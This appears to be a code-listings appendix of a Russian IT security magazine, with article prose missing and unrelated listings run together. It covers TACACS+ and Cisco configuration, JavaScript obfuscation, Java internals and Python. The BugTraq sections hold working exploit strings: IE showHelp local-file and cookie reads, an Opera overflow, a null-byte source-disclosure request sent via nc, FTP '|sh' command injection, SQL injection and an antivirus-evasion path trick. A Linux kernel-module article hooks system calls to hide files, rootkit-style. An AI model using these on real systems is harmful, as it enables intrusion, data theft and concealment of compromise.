BugTraq стр. 2 http://[target]/reports/secretreport.csp. http://[target]/cgi-bin/myscript.pl . http://[target]/cgi-bin/runme.exe%20. http://[target]/reports/secretreport.csp%20%2E $ perl -e "exec('opera.exe', 'http://'. 'A' x 2624 .'@/')" showHelp("file:");showHelp("http://www.google.com/"); showHelp("javascript:alert(document.cookie)"); showHelp("file:");showHelp("res://shdoclc.dll/about.dlg"); showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}\ catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET',\ 'file://c:/test.txt',false);c.send(null);alert(c.responseText)"); showHelp("file:");showHelp("file://c:/test.txt"); showHelp("javascript:alert(document.body.innerText)"); showHelp("file:");showHelp("iexplore.chm");showHelp("res:"); showHelp("javascript:location='mk:@MSITStore:C:'"); showHelp("javascript:document.write(' .tmp mv -f .tmp $i rm -f .tmp done tac_plus * -C имя конфигурационного файла (обязательный параметр) * -t не использовать log-файл, а писать в stderr * -P проверка синтаксиса конфигурационного файла * -g режим отладки, не происходит создания дочерних процессов * -p port_number задание номера порта (по умолчанию tacacs+ использует 49) * -d уровень вывода отладочных сообщений в /var/tmp/tac_plus.log * -v вывести версию и выйти * -L (получать имена по DNS) * -l файл для ведения лога * -w файл для записи журнала доступа (при включенной опции maxsess, по умолчанию – /var/tmp/tac.who_log) * -i запуск через inetd Пример: tac_plus -C /etc/tacacs.config # Ключ для шифрования key = a very secret password group users{ # Задание пароля для всех пользователей группы #пользователей в открытом виде. Можно использовать # DES-шифрование, например: login = DES F5qT7Ha7AflP0 # или указать файл в формате passwd: # login = file /etc/tacacs_passwd, но учтите, что пока # tac_plus не работает с md5-паролями, так что в этом # файле все пароли должны быть зашифрованы методом DES login = cleartext users_password } user user1{ # Пользователь принадлежит группе и наследует все пара- # метры из определения группы, включая пароль member = users } user power_user{ # Переопределение атрибута группы login = des F5qT7Ha7AflP0 member = users } user lamer{ # А этот, видимо, и пароль ввести сам не может :) login = nopassword member = users } user admin{ login = des FgZq2fY7ZKP0l pap = des FgZq2fY7ZKP0l opap = des FgZq2fY7ZKP0l expires = "JAN 01 2010" } user user1{ login = cleartext user_pass pap = pap_user_pass expires = "JAN 01 2003" } user $enab15${ login = des Y7jk9zAd5F7Ix } user $enab1${ login = cleartext level1secret } user=admin { login = des 3EdghJk8acVB6 member = administrators # Разрешаем всё на уровне пользователя default service = permit # Описание сервиса выполнения команд exec service = exec { # Устанавливаем список прав доступа для данного # пользователя acl = 4 # Выполняем команду при авторизации(автокоманда) autocmd = "telnet 192.168.1.2" } cmd = telnet { # Разрешаем все telnet-соединения, кроме адреса # 131.108.13.* deny 131\.108\.13\.[0-9]+ permit .* } } user=alex { login = des 6EX027bHtSTlz name = "Alex" member = administrators expires = "May 23 2005" arap = cleartext "arap secret" chap = cleartext "chap secret" service = exec { # Уровень привилегий по умолчанию acl = 5 # Автопинг autocmd = "ping 192.168.1.2" } } group users{ # Путь к скрипту, выполняющемуся до авторизации на # сервере before authorization "/usr/libexec/tacacs/users_auth\ $user $name $address" # Разрешаем сервисы по умолчанию default service = permit service = exec { # Выполняем автопинг autocmd = "ping 192.168.2.1" } } accounting file = "/var/log/tacacs/accounting" # tacacs-server host {name} # tacacs-server timeout {seconds} # tacacs-server attempts {count} # tacacs-server key {key} # show tacacs # configure terminal # aaa new-model # aaa authentication login default line # aaa authentication ppp default tacacs+ # line {[aux, console, tty, vty]| line-numbers} # login authentication tacacs+ # exit # show running-config # configure terminal # aaa authorization network tacacs+ # aaa authorization exec tacacs+ # exit # configure terminal # aaa accounting exec start-stop tacacs+ # aaa accounting network start-stop tacacs+ # exit # aaa authentication ppp pppcheck tacacs+ # int async {number_of_line} # ppp authentication {chap | pap} pppcheck # ppp callback accept user = foo{ login = cleartext login chap = cleartext xfgb pap = des qQkpO0AMIp7RL opap = cleartext outgoing_pap service = ppp protocol = lcp { # Строка дозвона для расширений ppp lcp callback-dialstring=123456 } } BugTraq стр. 25 Click me МОЖНО ЛИ ЗАЩИТИТЬ веб-СТРАНИЦЫ ОТ АНАЛИЗА ИСХОДНОГО КОДА? Даниил Алиевский Pragma: no-cache Cache-Control: no-cache var rng= document.body.createTextRange(); rng.moveToPoint(0,0); rng.select(); function somefunction() { какие-то операторы; } function somefunction() { var encrypted= "..."; // зашифрованный текст тех же самых операторов var source=decoding_function (encrypted); eval(source); } var encrypted= "..."; new Function(...) somefunction+"" var encrypted= «...»; var source= decoding_function(encrypted); .... eval(source); var encrypted= "..."; var source= decoding_function(encrypted); eval(source); ПЕРЕХВАТ СИСТЕМНЫХ ВЫЗОВОВ В ОС LINUX Владимир Мешков .globl _start .text _start: movl $8, %eax movl $filename, %ebx movl $0, %ecx int $0x80 movl $1, %eax movl $0, %ebx int $0x80 .data filename: .string "file.txt" gcc -с test.S ld -s -o test test.o int init_module(void) { ... } void cleanup_module(void) { ... } #define MODULE #include int init_module(void) { printk("Hello World\n"); return 0; } void cleanup_module(void) { printk("Bye\n"); } gcc -c -O3 helloworld.c insmod helloworld.o rmmod helloworld #include #include #include extern void *sys_call_table[]; int (*orig_mkdir)(const char *path); int own_mkdir(const char *path) { return 0; } int init_module() { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=own_mkdir; return 0; } void cleanup_module() { sys_call_table[SYS_mkdir]=orig_mkdir; } CC = gcc CFLAGS = -O3 -Wall -fomit-frame-pointer MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include sys_mkdir_call.o: sys_mkdir_call.c $(CC) -c $(CFLAGS) $(MODFLAGS) sys_mkdir_call.c #include #include #include #include #include #include #include extern void *sys_call_table[]; int (*orig_open)(const char *pathname, int flag, int mode); int own_open(const char *pathname, int flag, int mode) { char *kernel_path; char hide[]="test.txt" kernel_path=(char *)kmalloc(255,GFP_KERNEL); copy_from_user(kernel_path, pathname, 255); if(strstr(kernel_path,(char *)&hide) != NULL) { kfree(kernel_path); return -ENOENT; } else { kfree(kernel_path); return orig_open(pathname, flag, mode); } } int init_module() { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=own_open; return 0; } void cleanup_module() { sys_call_table[SYS_open]=orig_open; } CC = gcc CFLAGS = -O2 -Wall -fomit-frame-pointer MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include sys_open_call.o: sys_open_call.c $(CC) -c $(CFLAGS) $(MODFLAGS) sys_open_call.c /* Файл dir.c*/ #include #include int main () { DIR *d; struct dirent *dp; d = opendir(«.»); dp = readdir(d); return 0; } gcc -o dir dir.c strace ./dir getdents (6, /* 4 entries*/, 3933) = 72; #include #include #include #include #include #include #include #include extern void *sys_call_table[]; int (*orig_getdents)(u_int, struct dirent *, u_int); int own_getdents(u_int fd, struct dirent *dirp, u_int count) { unsigned int tmp, n; int t; struct dirent *dirp2, *dirp3; char hide[]=»our.file»; tmp=(*orig_getdents)(fd,dirp,count); if(tmp>0){ dirp2=(struct dirent *)kmalloc(tmp,GFP_KERNEL); сopy_from_user(dirp2,dirp,tmp); dirp3=dirp2; t=tmp; while(t>0) { n=dirp3->d_reclen; t-=n; if(strstr((char *)&(dirp3->d_name),(char *)&hide) != NULL) { memcpy(dirp3,(char *)dirp3+dirp3->d_reclen,t); tmp-=n; } dirp3=(struct dirent *)((char *)dirp3+dirp3->d_reclen); } copy_to_user(dirp,dirp2,tmp); kfree(dirp2); } return tmp; } int init_module(void) { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=own_getdents; return 0; } void cleanup_module() { sys_call_table[SYS_getdents]=orig_getdents; } CC = gcc module = sys_call_getd.o CFLAGS = -O3 -Wall LINUX = /usr/src/linux MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include sys_call_getd.o: sys_call_getd.c $(CC) -c $(CFLAGS) $(MODFLAGS) sys_call_getd.c BugTraq стр. 45 GET /.jsp HTTP/1.0 $ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080 mget . -> (...) RETR "|touch testfile" RETR "|sh" with content of the file '|sh' being shell commands НЕКОТОРЫЕ НЕДОКУМЕНТИРОВАННЫЕ ФУНКЦИИ JAVA Даниил Алиевский public Main( OutputStream p0, String p1) public synchronized boolean compile( String[] p0) new String[] {"-d","/путь_к_подкаталогу","myfile.java"} public int getExitStatus() public static int compile(String[] p0) public static int compile(String[] p0, PrintWriter p1) new PrintWriter(writer=new CharArrayWriter(),true) public abstract boolean isLink(); public abstract ShellFolder getLinkLocation() throws FileNotFoundException public static boolean isLink(File f) { try { return sun.awt.shell.ShellFolder .getShellFolder(f).isLink(); } catch (FileNotFoundException e) { return false; } } public static File getLinkLocation(File f) throws FileNotFoundException { File result= sun.awt.shell.ShellFolder .getShellFolder(f).getLinkLocation(); if (result==null || result.getPath().trim().length()==0) throw new FileNotFoundException( "Incorrect link - it is empty"); return result; } public static native Class getCallerClass(int p0) public static Class[] getCurrentStackTraceClasses() { List result= new ArrayList(); for (int count=1; count<10000 /* страховка на всякий случай */; count++) { Class clazz= sun.reflect.Reflection .getCallerClass(count); if (clazz==null) break; result.add(clazz); } return (Class[])result.toArray( new Class[0]); } for (Iterator iterator= sun.misc.Service.providers( класс_сервиса.class); iterator.hasNext(); ) { класс_сервиса o= (класс_сервиса) iterator.next(); используем o - экземпляр очередного провайдера сервиса; } ЛВС: управляемость, надежность, масштабируемость Денис Еланский Router>enable Router#config terminal Router(config)interface fastethernet 0.1 Router(config-if)ip address 1.1.1.1 255.255.255.0 Router(config-if)encapsulation isl 1 Router(config)interface fastethernet 0.2 Router(config-if)ip address 1.1.2.1 255.255.255.0 Router(config-if)encapsulation isl 2 Router(config)interface fastethernet 0.3 Router(config-if)ip address 1.1.3.1 255.255.255.0 Router(config-if)encapsulation isl 3 Router(config-if)^Z Router#copy running config start config Switch>enable Switch#config terminal Switch(config)interface module/number Switch(config-if)switchport mode trunk Switch(config-if)switchport trunk encapsulation Switch(config-if)switchport trunk allowed vlan add|remove vlan_list Switch(config-if)end BugTraq стр. 89 mode="" delete="true" mark[]="1) OR 1=1 #" confirm="Yes" file://path/to/image.jpg?">Arbitrary HTML here open("file://localhost/images/file.gif?\">","",""); SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA mkdir \\?\c:\%A% mkdir \\?\c:\%A%\%A% mkdir \\?\c:\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%\%A% echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* >\\?\c:\%A%\%A%\%A%\%A%\%A%\%A%\%A%.com FAQ Python Роман Сузи def f(x): if x >= 0: return x else: return -x #end if #end def def f(x): #{ if x >= 0: return x else: return -x #} import urllib page = urllib.urlopen(«http://www.onego.ru»).read() def f(x): #{ if x >= 0: return x else: return -x #}